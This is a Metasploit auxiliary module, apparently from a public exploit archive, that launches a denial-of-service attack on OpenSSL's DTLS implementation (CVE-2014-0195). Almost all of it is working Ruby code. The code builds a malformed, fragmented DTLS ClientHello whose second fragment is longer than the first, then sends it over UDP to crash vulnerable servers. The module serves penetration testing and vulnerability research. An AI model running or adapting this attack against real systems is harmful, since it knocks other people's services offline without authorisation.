OpenSSL DTLS Fragment Buffer Overflow / Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Dos  
include Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',  
'Description' => %q{  
This module performs a Denial of Service Attack against Datagram TLS in  
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.  
This occurs when a DTLS ClientHello message has multiple fragments and the  
fragment lengths of later fragments are larger than that of the first, a  
buffer overflow occurs, causing a DoS.  
},  
'Author' =>  
[  
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery  
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2014-0195'],  
['ZDI', '14-173'],  
['BID', '67900'],  
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],  
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']  
],  
'DisclosureDate' => '2014-06-05'))  
  
register_options([  
Opt::RPORT(4433),  
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])  
])  
  
end  
  
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)  
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),  
# fragment offset (3 bytes), fragment length (3 bytes), fragment body  
sol = (seq << 48) | (frag_offset << 24) | frag_length  
[  
(type << 24) | length,  
(sol >> 32),  
(sol & 0x00000000FFFFFFFF)  
].pack("NNN") + frag_body  
end  
  
def build_tls_message(type, version, epoch, sequence, message)  
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),  
# sequence # (6 bytes) + message length (2 bytes), message body  
es = (epoch << 48) | sequence  
[  
type,  
version,  
(es >> 32),  
(es & 0x00000000FFFFFFFF),  
message.length  
].pack("CnNNn") + message  
end  
  
def run  
# add a small fragment  
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')  
# add a large fragment where the length is significantly larger than that of the first  
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations  
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))  
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)  
connect_udp  
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")  
udp_sock.put(message)  
disconnect_udp  
end  
end  
`